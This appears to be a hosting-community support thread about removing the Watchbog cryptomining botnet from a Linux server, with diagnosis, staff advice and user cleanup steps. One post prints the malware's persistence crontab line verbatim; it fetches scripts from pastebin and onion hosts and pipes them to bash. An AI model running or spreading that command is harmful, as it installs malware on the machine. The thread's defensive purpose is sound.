I've recently discovered a running processes known as watchbog and it seems to be using up a lot of the CPU usage. Please advise.
top - 08:18:16 up 7 min, 1 user, load average: 1.00, 0.79, 0.40 Tasks: 130 total, 1 running, 70 sleeping, 0 stopped, 0 zombie %Cpu(s): 99.3 us, 0.3 sy, 0.0 ni, 0.0 id, 0.0 wa, 0.3 hi, 0.0 si, 0.0 st KiB Mem : 2023848 total, 1350360 free, 370740 used, 302748 buff/cache KiB Swap: 262140 total, 262140 free, 0 used. 1503656 avail Mem PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 1300 root 20 0 195820 6672 4464 S 99.0 0.3 7:02.81 watchbog 1 root 20 0 77632 8692 6648 S 0.0 0.4 0:01.58 systemd 2 root 20 0 0 0 0 S 0.0 0.0 0:00.00 kthreadd 3 root 0 -20 0 0 0 I 0.0 0.0 0:00.00 rcu_gp 4 root 0 -20 0 0 0 I 0.0 0.0 0:00.00 rcu_par_gp 6 root 0 -20 0 0 0 I 0.0 0.0 0:00.00 kworker/0:0H-kb
Watchbog is believed to be a cryptocurrency mining botnet. It's a relatively new exploit but has already been noted by a few security experts as malicious. The most common attack vector has been through machines running a Jenkins build, but in the past Watchbog has also been noted to attack Supervisord, Nexus Repository 3, and ThinkPHP.
NIST recently modified their original posting of this vulnerability.
It has been noted that once your system is compromised this script will verify that it has access to cURL, wget, python, and OS calls and will then begin running its application to utilize your CPU.
This StackExchange post goes over this vulnerability in a bit more detail.
Since this script has access to OS commands it may be very difficult to verify that any malicious scripts are completely removed. It is therefore recommended, if possible, to completely rebuild your Linode. If you decide to redeploy your Linode from a backup, you may want to try and utilize your Linodes older backups.
If you are unable to rebuild your Linode, or you do not have our Backups Service enabled, then you can use some open source tools to try and identify the malicious scripts. Please note that many open source scanners can only scan for known vulnerabilities and are sometimes limited on their ability to identify and address new or updated exploits.
To cover all your bases, it may be ideal to investigate with another malware scanner. We would also recommend the following alongside ClamAV.
This StackExchange post goes over into greater depth recovering a compromise.
Once you believe that you have properly addressed this compromise it is imperative that you properly secure your Linode to prevent future compromises. We have some pretty extensive documentation that can walk you through the proper steps to secure your Linode.
You may also want to reach out to our Professional Services Team to have our Cloud Experts properly investigate and address any compromise you believe you may have encountered.
I found watchbog virus in one of my linux machine and here is what I did step by step that I finally manage to kill the virus. The virus is having a hidden process that create cronjob and use up the CPU. This can be detected by the following command:
ps -eo pcpu,pid,user,args | sort -k 1 -r | head -10
%CPU PID USER COMMAND 31.5 8128 root ./watchbog 31.5 8116 root ./watchbog 31.4 8140 root ./watchbog
So what to do? First, check the content of the crontab:
*/11 * * * * (curl -fsSL https://pastebin.com/raw/EzqVke6X||wget -q -O- https://pastebin.com/raw/EzqVke6X||python -c 'import urllib2 as fbi;print fbi.urlopen("https://pastebin.com/raw/4HvzGfGm").read()'||curl -fsSL https://pastebin.com/raw/3FDDiNwW||wget -q -O - https://pastebin.com/raw/3FDDiNwW||curl -fsSLk https://aziplcr72qjhzvin.onion.to/old.txt||wget -q -O - https://aziplcr72qjhzvin.onion.to/old.txt --no-check-certificate -t 2 -T 60)|bash ## */11 * * * * (curl -fsSL https://pastebin.com/raw/EzqVke6X||wget -q -O- https://pastebin.com/raw/EzqVke6X||python -c 'import urllib2 as fbi;print fbi.urlopen("https://pastebin.com/raw/4HvzGfGm").read()'||curl -fsSL https://pastebin.com/raw/3FDDiNwW||wget -q -O - https://pastebin.com/raw/3FDDiNwW||curl -fsSLk https://aziplcr72qjhzvin.onion.to/old.txt||wget -q -O - https://aziplcr72qjhzvin.onion.to/old.txt --no-check-certificate -t 2 -T 60)|bash ##
Thus, the virus is automatically creating crontab. We can remove the crontab using the following command:
Then we can check if it is already empty using the following command:
If it has some content (e.g. root) then it means the new cron job was created.
Since the the virus is using curl, urllib2 or wget, we need to temporarily uninstall them:
pip uninstall urllib2 apt-get remove --auto-remove curl apt-get remove --auto-remove wget
Then, we remove the cron job and then kill the process.
while true ; do killall watchbog ; done
Let us see again if it works.
ps -eo pcpu,pid,user,args | sort -k 1 -r | head -10
There is no more watchbog.
Then do not forget to change the password
sudo passwd root
card231 - Thank you for sharing. Fwiw, I had this - Server was fully patched and up to date as of a couple days ago, but got hit early hours of this am. I suspect webmin may have been the way in….
I have followed below its working for me
- https://iplists.firehol.org/files/bitcoin_nodes.ipset (check freq: 10 min; update freq: about 2 hours)
- https://iplists.firehol.org/files/bitcoin_nodes_1d.ipset (seen in the last 24 hours -- check freq: 10 min; update freq: about 2 hours)
- https://iplists.firehol.org/files/bitcoin_nodes_7d.ipset (seen in the last 7 days -- check freq: 10 min; update freq: about 2 hours)
- https://iplists.firehol.org/files/bitcoin_nodes_30d.ipset (seen in the last 30 days -- check freq: 10 min; update freq: about 2 hours)
contain (IPv4) addresses of known bitcoin miner master/slave nodes (aggregated, about 15000 unique IP addresses).
Aggregating them into a list using ipset(8) and instituting a firewall rule to block all traffic to/from any IP address in the ipset will afford you some protection from this crap:
Of course, you have to be disinfected first. You also have to update your ipset regularly…not forgetting to remove duplicates to keep the size of your list as small as possible.
If anyone knows the URLs for similar lists of IPv6 addresses, I'd be appreciative if you would share them here.
Thanks in advance…